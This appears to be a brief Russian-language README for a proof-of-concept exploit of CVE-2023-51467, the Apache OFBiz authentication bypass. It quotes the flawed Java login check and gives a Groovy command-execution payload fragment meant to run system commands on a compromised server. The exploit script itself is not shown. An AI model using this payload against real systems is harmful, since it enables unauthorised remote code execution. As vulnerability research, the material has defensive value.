
CVE-2023-51467 POC
exp.py изменен для выполнения команд
Эксплуатация уязвимости сериализации
Тест обхода аутентификации
Из-за ошибочного использования null при проверке подлинности этот метод не сработал, что привело к обходу аутентификации.
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");
if (UtilValidate.isEmpty(username)) username = (String) session.getAttribute("USERNAME");
if (UtilValidate.isEmpty(password)) password = (String) session.getAttribute("PASSWORD");
if (UtilValidate.isEmpty(token)) token = (String) session.getAttribute("TOKEN");
Некоторые аналитики упоминают прямое выполнение команд, но для этого необходимо обойти фильтрацию Groovy. Или есть лучшие точки входа? rce.txt
def process = cmd.execute()
process.waitFor()
println "Exit code: ${process.exitValue()}"
println "Output:\n${process.text}"```
## Ссылки
https://github.com/apache/ofbiz-framework/commit/47e7959065b82b170da5c330ed5c17af16415ede#diff-68decfd4946b8ef0adcc4c7f18b938aec4a07ff7ce64609a2691ba88a4688607
https://mp.weixin.qq.com/s/vdyqfm0FkbKp5W2LilhbXA
Не используйте в незаконных целях